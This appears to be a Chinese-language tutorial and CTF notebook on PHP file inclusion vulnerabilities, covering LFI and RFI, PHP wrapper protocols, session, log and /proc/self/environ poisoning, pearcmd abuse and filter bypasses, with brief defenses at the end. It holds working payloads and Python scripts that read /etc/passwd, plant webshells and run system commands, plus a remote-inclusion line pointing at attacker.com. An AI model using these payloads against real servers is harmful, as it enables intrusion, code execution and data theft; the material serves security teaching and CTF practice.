PHP文件包含漏洞

基础知识

概述

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行

“包含”:以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含

攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞

相关函数

include, require
require报错会终止程序,但是include会继续执行下面代码。

include_once ,require_once
包含过的就不会继续包含

漏洞类型

LFI(Local File Inclusion)

本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI

RFI(Remote File Inclusion)

远程文件包含漏洞,指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大

RFI对php.ini里的配置有些要求:

allow_url_fopen = On
allow_url_include = On

allow_url_fopen 允许 PHP 读取远程文件

allow_url_include 则允许 PHP 在代码中包含远程文件

注:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off

测试

如果目标服务器配置允许远程文件包含(allow_url_include=On),可以尝试包含远程文件,例如:

1
http://example.com/index.php?page=http://attacker.com/shell.txt

如果服务器加载了远程文件的内容,说明存在远程文件包含漏洞

/etc/passwd来检验漏洞存在

常见的测试文件包括:

  • /etc/passwd(Linux系统用户信息)
  • /etc/hosts(主机名配置)
  • /proc/self/environ(环境变量)
  • Apache/Nginx日志文件(如/var/log/apache2/access.log

/etc/passwd 文件包含 root: 关键字,如果返回 root:x:0:0: 说明读取成功

路径遍历

http://target.com/index.php?file=../../../../../../etc/passwd

也可用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

# 目标 URL
url = "http://target.com/index.php?file="

# 常见的 LFI 路径遍历
payloads = [
"../../../../../../etc/passwd",
"..//..//..//..//..//..//etc/passwd", # 双斜杠绕过
"....//....//....//....//etc/passwd", # 多点斜杠绕过
]

# 发送请求
for payload in payloads:
full_url = url + payload
response = requests.get(full_url)

if "root:x:0:0:" in response.text:
print(f"[+] 成功!LFI 存在: {full_url}")
print(response.text[:200]) # 仅显示部分内容
break
else:
print(f"[-] 失败: {full_url}")

利用 php://filter 进行 Base64 编码

http://target.com/index.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

Null Byte 截断(PHP <5.3.4)

如果服务器强制 .php 后缀:

http://target.com/index.php?file=../../../../../etc/passwd%00

PATH_INFO 截断

http://target.com/index.php?file=../../../../../../etc/passwd....................

包含方法

php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

file://

访问本地文件系统,若不加协议名称,默认封装协议file://协议

条件
  • allow_url_fopen:off/on
  • allow_url_include :off/on
作用

用于访问本地文件系统(服务器中的文件)

在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响

注:使用file协议时无法使用相对路径

1
2
3
4
cmd=file://flag #用法错误,声明file协议时无法使用相对路径
cmd=file:///flag #用法正确,使用绝对路径
cmd=/flag #用法正确,使用绝对路径
cmd=flag #用法正确,使用相对路径
使用实例
1
2
3
4
5
6
7
8
9
10
11
#Linux
cmd=file:///path/to/flag #根目录下path文件夹中to文件夹下flag文件 ——此处有///三条
cmd=/path/to/flag #根目录下path文件夹中to文件夹下flag文件
cmd=relative/path/flag #当前目录下relative文件夹中path文件夹下flag文件
cmd=flag #当前目录下的flag文件

#Windows
cmd=file://C:/path/to/flag #C盘中path文件夹中to文件夹下flag文件
cmd=file://C:\path\to\flag #C盘中path文件夹中to文件夹下flag文件
cmd=C:\path\to\flag #C盘中path文件夹中to文件夹下flag文件
cmd=flag #当前文件夹下flag文件

http://

访问 HTTP(s) 网址

条件
  • allow_url_fopen:on
  • allow_url_include:on
作用

常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含

使用实例
1
2
cmd=http://example.com/phpinfo.txt	#读取http://example.com/phpinfo.txt文件
cmd=https://example.com/file.php?var1=val1&var2=val2 #读取https://example.com/file.php文件并且传入var1和var2的值

php://

访问各个输入/输出流(I/O streams),伪协议提供了多种不同的方式来访问和处理数据

常见
1
2
3
4
5
6
7
8
9
10
php://input #这个伪协议用于访问HTTP请求的原始主体数据。它通常用于从POST请求中读取数据。
php://output #这个伪协议用于访问HTTP响应的输出流。它通常用于向客户端发送数据。
php://stdin #用于访问标准输入流。
php://stdout #用于访问标准输出流。
php://stderr #用于访问标准错误输出流。
php://temp #用于临时存储数据的内存流。它可以用于在没有创建实际文件的情况下处理临时数据。
php://memory #用于在内存中创建可读写的数据流。
php://filter #这个伪协议用于数据过滤和转换。它允许您将不同的过滤器应用于数据流,例如Base64编码、压缩和加密等。
php://globals #用于访问全局变量。可以通过此伪协议查看和修改PHP全局变量的值。
php://fd #用于访问文件描述符。它允许您在PHP中访问底层文件系统。

在CTF中经常使用的是**php://filterphp://input**、php://filter用于读取源码,php://input用于执行POST参数中的php代码

条件
  • allow_url_fopen:off/on
  • allow_url_include :仅php://inputphp://stdinphp://memoryphp://temp 需要on
php://input
条件
  • allow_url_fopen:off/on
  • allow_url_include :on
1
2
3
4
5
GET[URL部分]
?file=php://input

POST[POST DATA部分]
<? phpinfo();?>
作用

主要用来接收post数据

CTF中文件包含题目里,可以使用php://input协议,将post请求中的数据作为php代码执行

php://filter
条件
  • allow_url_fopen:off/on
  • allow_url_include :off/on
作用

可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流,负责对数据进行处理(即读取或写入数据之前对其进行修改或过滤)

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。(加绝对路径
read=<读链的筛选列表> read参数指定 一个或多个过滤器 用于操作,可以设定一个或多个过滤器名称,以管道符分隔。(读取文件后编码输出)
write=<写链的筛选列表> write参数指定 一个或多个过滤器 用于操作,可以设定一个或多个过滤器名称,以管道符分隔。(编码重写入文件)
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

注:

  • readwrite 指令是互斥的,不能同时使用。
  • 如果存在多个过滤器,字符串从左到右的顺序经过过滤器
常用过滤语句
1
?file=php://filter/read=convert.base64-encode/resource=/flag //读取根目录flag文件,进行base64编码
常用过滤器(未完)

字符串过滤器

PHP: 字符串过滤器 - Manual

  • string.rot13(对字符串执行ROT13编码转换)
  • string.toupper(将字符串转化为大写)
  • string.tolower(将字符串转化为小写)
  • string.strip_tags(自 PHP 7.3.0 起废弃,从字符串中去除 HTML 和 PHP 标记)

转换过滤器

PHP: 转换过滤器 - Manual

注:转换过滤器是 PHP 5.0.0 添加的

  • 常用:**convert.base64-encodeconvert.base64-decode**(将字符串进行base64编码加解密)

  • convert.quoted-printable-encodeconvert.quoted-printable-decode(将字符串进行Quoted-printable编码加解密)

  • convert.iconv.*(将字符串进行字符编码转化)

Quoted-Printable(QP)编码 是一种 可读性较高的7位编码,用于安全传输包含 特殊字符(如非 ASCII 字符)的文本,尤其是在 电子邮件(MIME) 中。它的主要目的是在 兼容 7-bit 传输协议(如 SMTP)的同时,保持尽可能的可读性

编码规则:

ASCII 可打印字符(33-126) 直接保留,如 abcXYZ123

空格和制表符(TAB)

  • 末尾空格必须用 =20 表示(防止邮件客户端自动去掉)

不可打印字符(0-31, 127-255),使用 =XX 形式编码,其中 XX两位十六进制表示

换行符(CRLF, \r\n

  • QP 默认使用 \r\n 作为换行符
  • 长于 76 个字符 的行必须 换行,并在行尾加 = 作为软换行

phar://

利用条件

php版本大于等于php5.3.0
allow_url_fopen = On
allow_url_include = On

原理

phar:// 是用来解压的伪协议

phar://不管参数中是什么拓展名,都会被当做压缩包

用法

?file=phar://压缩包/压缩文件

示例

phar://xxx.png/shell.php

写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

zip://

利用条件

php版本大于等于php5.3.0
allow_url_fopen = On
allow_url_include = On

phar://伪协议原理类似,但用法不同

用法

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

注意:需要将#转换成URL编码:%23

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg、png、gif等等。

zlib:// 需要是服务器内的压缩包文件、但不局限于后缀名

示例

1.zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

压缩 phpinfo.txtphpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=zip:///var/www/html/phpinfo.jpg#phpinfo.txt

2.compress.bzip2://file.bz2

压缩 phpinfo.txtphpinfo.bz2 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=compress.bzip2:///var/www/html/phpinfo.bz2

3.compress.zlib://file.gz

压缩 phpinfo.txtphpinfo.gz 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=compress.zlib:///var/www/html/phpinfo.gz

data://

条件

php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On

用法
  • data://text/plain,[加上所需传输的经过url编码数据]
1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
  • data://text/plain;base64,[加上所需传输的经过base64编码再经过url编码的数据]
1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

注:加号 + 的url编码为%2bPD9waHAgcGhwaW5mbygpOz8%2b的base64解码为: <?php phpinfo();?>

expect://

PHP要安装expect扩展

1
2
http://example.com/index.php?file=php:expect://id
http://example.com/index.php?file=php:expect://ls

包含session

Session文件包含漏洞-简书

利用条件

session文件路径已知,且其中内容部分可控

过滤了点之后不能使用文件包含来getshell了,能利用无后缀的文件session,利用session.upload_progress来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS参数

基础知识

一些配置选项

该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

1
2
3
4
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;cleanup选项决定了我们需要条件竞争
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • prefix+name将表示为session中的键名;

session.auto_start:默认为off,若为on,php会在接收请求的时候会自动初始化Session,不再需要执行session_start()

session.use_strict_mode:默认值为0,此时用户可以自定义Sesssion ID(默认情况下,PHP允许任何客户端使用 PHPSESSID 发送请求并恢复会话,如果攻击者提前猜测或设置了PHPSESSID,则可能劫持用户的会话),比如,我们在Cookie里设置PHPSESSID=ROIS,PHP将会在服务器上创建一个文件/tmp/sess_ROIS。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里

注:由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含

常见的php-session存放位置
  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sessions/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

利用

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

包含日志

访问日志

利用条件

需要知道服务器日志的存储路径,且日志文件可读

日志位置

nginx:/var/log/nginx/access.log

apache:/var/log/apache2/access_log(access.log)

注:在CTF中,log的地址常被修改掉,可以通过读取相应的配置文件后,再进行包含

payload插入

位置:User-Agent头,GET参数

User-Agent头不需要抓包解码,GET参数需要。

最后getshell即可

SSH log

SSH(Secure Shell)是一种加密协议,主要用于远程安全登录和服务器管理

利用条件

需要知道ssh-log的位置,且可读。默认情况下为/var/log/auth.log

ubuntu中:ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。
然后在remotehost的ssh-log中即可写入php代码

包含environ(环境变量)

利用条件

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

利用

如果一个 Web 服务器有 LFI(本地文件包含)漏洞,但 php://filterlog poisoning 都不可用,那么 /proc/self/environ 可能是最后的希望

如果目标服务器运行 PHP,并且 $_SERVER['HTTP_USER_AGENT'] 被写入环境变量,可以尝试在 User-Agent 头中注入恶意代码:

1
2
3
GET /?file=/proc/self/environ HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>

然后访问http://target.com/?file=/proc/self/environ&cmd=whoami

包含fd

跟包含environ类似

包含临时文件

同样要竞争

包含上传文件

配合文件上传漏洞,基本原理不变

包含pearcmd

pearcmd.phpPHP PEAR(PHP Extension and Application Repository) 的命令行管理工具,如果服务器存在 本地文件包含(LFI)漏洞,可以通过包含 pearcmd.php 并传参来执行任意 PHP 代码,从而实现 远程命令执行(RCE)

pearcmd.php 可能的路径

Linux
1
2
3
/usr/share/php/pearcmd.php
/usr/local/lib/php/pearcmd.php
/var/www/html/pear/pearcmd.php
Windows(XAMPP)
1
C:\xampp\php\PEAR\pearcmd.php

利用

直接包含 pearcmd.php 进行 RCE

如果服务器有 LFI 漏洞,可以直接访问:

1
http://target.com/index.php?file=/usr/share/php/pearcmd.php

然后使用 +config-create+ 写入 Webshell:

1
http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-create+/var/www/html+<?=system($_GET['cmd']);?>+.php

这将在 /var/www/html/.php 生成 Webshell,然后访问:

1
http://target.com/.php?cmd=id

即可执行系统命令

结合 php://input 进行代码执行

如果服务器 allow_url_include=On,可以:

1
http://target.com/index.php?file=php://input

然后用 POST 发送:

1
<?php system('id'); ?>

如果 pearcmd.php 存在,也可以利用:

1
http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-show

这样 pearcmd.php 可能会解析 session临时文件,执行恶意代码

结合 session.auto_start 进行代码执行

如果 session.auto_start=1,可以将恶意代码写入 $_SESSION,然后通过 pearcmd.php 解析:

1
2
3
4
<?php
session_start();
$_SESSION['payload'] = "<?php system('id'); ?>";
?>

然后访问:

1
http://target.com/index.php?file=/usr/share/php/pearcmd.php&+config-show

可能会解析 $_SESSION 并执行 payload 代码

绕过姿势

指定前缀

目录遍历

../可以进行目录遍历

编码绕过

有时把点号过滤了,尝试编码点号

指定后缀

URL

URL格式在此处具有妙用,可以在payload最后加**?或者#(url编码为%23),或者空格绕过%20**

使用协议

phar://和zip://都可以

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

则后缀/test/test.php,在达到最大值后会被直接丢弃掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

# 目标 URL
url = "http://target.com/index.php?file="

# 目标文件
payload = "../../../../../../etc/passwd"

# 生成超长路径(超过服务器限制)
long_truncation = payload + "A" * 4000 # 让路径超长

# 发送请求
response = requests.get(url + long_truncation)

# 检查是否成功
if "root:" in response.text:
print("[+] 成功绕过,已读取 /etc/passwd")
print(response.text)
else:
print("[-] 失败,可能需要调整长度")

/etc/passwd 文件包含 root: 关键字,如果返回 root:x:0:0: 说明读取成功

0字节截断

利用条件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

指定前后缀

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

可以使用目录遍历和长度截断(或者0字节截断),有必要的话可以对点号编码,至少协议和URL使用不了

防御方案

  • 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败

open_basedir 的主要作用是限制 PHP 脚本只能访问指定的目录及其子目录。这样,即使某个脚本存在漏洞,也无法访问超出这些限定目录之外的文件

  • 做好文件的权限管理
  • 对危险字符进行过滤等等